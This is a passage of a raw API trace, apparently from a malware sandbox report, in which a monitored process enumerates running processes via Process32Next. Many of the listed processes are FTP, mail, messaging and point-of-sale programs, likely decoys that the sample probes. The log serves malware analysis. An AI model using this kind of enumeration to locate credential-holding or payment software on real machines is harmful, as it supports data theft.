cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.706] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.708] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.711] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.713] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.714] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.716] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.718] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.720] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0280.722] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0280.725] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.727] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.729] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.732] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.734] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.737] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.739] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0280.741] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.744] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.746] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0280.749] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0280.751] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0280.754] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0280.756] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0280.759] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0280.761] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0280.764] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0280.766] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0280.768] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0280.771] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0280.804] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0280.807] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0280.810] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0280.812] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0280.814] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0280.815] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0280.818] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0280.820] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0280.822] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0280.824] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0280.825] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0280.827] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0280.829] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0280.832] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0280.834] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0280.836] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0280.838] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0280.841] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0280.843] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0280.845] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0280.848] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0280.850] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0280.852] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0280.854] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0280.856] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0280.858] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0280.861] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0280.863] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0280.865] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0280.867] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0280.869] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0280.871] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0280.873] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0280.875] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0280.877] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0280.879] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0280.881] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0280.883] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0280.885] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0280.887] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0280.889] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0280.892] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0280.894] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0280.896] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0280.897] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0280.899] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0280.901] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0280.903] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0280.906] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0280.907] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.917] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.921] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.927] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.930] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: 